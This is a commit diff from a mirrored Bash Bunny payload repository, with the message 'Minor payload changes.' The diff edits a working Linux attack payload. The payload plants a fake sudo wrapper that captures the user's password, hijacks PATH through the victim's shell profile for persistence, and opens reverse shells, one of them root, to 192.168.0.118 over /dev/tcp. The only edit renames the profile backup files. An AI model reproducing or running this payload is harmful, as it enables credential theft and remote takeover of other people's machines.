mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
Minor payload changes.
This commit is contained in:
@@ -31,10 +31,10 @@ else
|
|||||||
if [ -f ~/.bash_profile ]
|
if [ -f ~/.bash_profile ]
|
||||||
then
|
then
|
||||||
rm ~/.bash_profile
|
rm ~/.bash_profile
|
||||||
mv ~/.darkbash ~/.bash_profile
|
mv ~/.bash_profile.bak ~/.bash_profile
|
||||||
else
|
else
|
||||||
rm ~/.bashrc
|
rm ~/.bashrc
|
||||||
mv ~/.darkbashrc ~/.bashrc
|
mv ~/.bashrc.bak ~/.bashrc
|
||||||
fi
|
fi
|
||||||
rm ~/.config/sudo/sudo
|
rm ~/.config/sudo/sudo
|
||||||
echo "$pwd" | sudo -S disown !$ $(sudo /bin/bash -i > /dev/tcp/192.168.0.118/1337 0<&1 2>&1) &
|
echo "$pwd" | sudo -S disown !$ $(sudo /bin/bash -i > /dev/tcp/192.168.0.118/1337 0<&1 2>&1) &
|
||||||
@@ -45,10 +45,10 @@ EOF
|
|||||||
chmod u+x ~/.config/sudo/sudo
|
chmod u+x ~/.config/sudo/sudo
|
||||||
if [ -f ~/.bash_profile ]
|
if [ -f ~/.bash_profile ]
|
||||||
then
|
then
|
||||||
cp ~/.bash_profile ~/.darkbash
|
cp ~/.bash_profile ~/.bash_profile.bak
|
||||||
echo "export PATH=~/.config/sudo:$PATH" >> ~/.bash_profile
|
echo "export PATH=~/.config/sudo:$PATH" >> ~/.bash_profile
|
||||||
else
|
else
|
||||||
cp ~/.bashrc ~/.darkbashrc
|
cp ~/.bashrc ~/.bashrc.bak
|
||||||
echo "export PATH=~/.config/sudo:$PATH" >> ~/.bashrc
|
echo "export PATH=~/.config/sudo:$PATH" >> ~/.bashrc
|
||||||
fi
|
fi
|
||||||
disown !$ $(/bin/bash -i > /dev/tcp/192.168.0.118/4444 0<&1 2>&1) &
|
disown !$ $(/bin/bash -i > /dev/tcp/192.168.0.118/4444 0<&1 2>&1) &
|
||||||
|
|||||||
Reference in New Issue
Block a user